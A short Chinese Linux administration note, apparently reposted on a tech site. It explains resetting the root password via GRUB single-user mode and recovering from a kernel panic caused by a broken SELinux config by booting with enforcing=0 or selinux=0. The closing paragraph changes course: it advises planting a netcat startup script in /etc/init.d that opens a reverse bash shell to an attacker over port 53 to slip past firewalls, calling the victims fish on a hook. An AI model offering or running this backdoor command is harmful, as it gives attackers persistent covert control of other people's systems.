1、在系统启动过程中,会出现图1所示画面,按任意键,进入GRUB菜单选项。
2、按“e”键编辑GRUB引导菜单选项,图2显示为按“e”键后的GRUB屏幕。
GRUB引导菜单选项
通过箭头键下移到kernel行,并按“e”键,得到图3中显示的编辑界面:
kernel行编辑界面
在尾行光标处添加single或者s,按回车键返回前一个屏幕,按“b”键进行引导,则系统自动进入单用户模式,如果要改变root密码,则执行命令:
sh-3.1# passwd root
更改成功后,执行命令exit退出重启即可。
错误原因:
错误修改了 /etc/selinux/config文件。
错误信息:
重启后发现出现错误,不能继续启动
Kernel panic - not syncing: Attempted to kill init
解决方案:
1.系统启动的时候,按下‘e’键进入grub编辑界面,编辑grub菜单,选择“kernel /vmlinuz-2.6.23.1-42.fc8 ro root=/dev/vogroup00/logvol00 rhgb quiet” 一栏,按‘e’键进入编辑,在末尾增加enforcing=0,即:
kernel /vmlinuz-2.6.23.1-42.fc8 ro root=/dev/vogroup00/logvol00 rhgb quiet enforcing=0 或者selinux=0
按‘b’键继续引导,OK顺利前进。
2.后来发现,通过改变/etc/grub.conf 在倒数第二行添加selinux=0 也可。
3.(推荐) 检查/etc/selinux/config文件是否出错
注意事项:
1.系统启动后,按e ,如果没有对应kerne选项继续按e 找到
2.在出现命令行后 空格加入 enforing=0 回车
3.除保存编辑不要按回车,esc等按键。输入enforing=0后直接按b 继续启动。
我觉得,之所以没有这个-e参数是为了防止被控方(centos)的 *** 作人员设置后门,你可以尝试到etc/init.d下写一个nc的启动脚本,利用由内向外的反向链接-c参数反dbash(可以越过防火墙)大概是“nc -nv ip地址 53 -c bash“
在攻击方进行侦听53DNS端口,等着鱼儿上钩吧!!
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)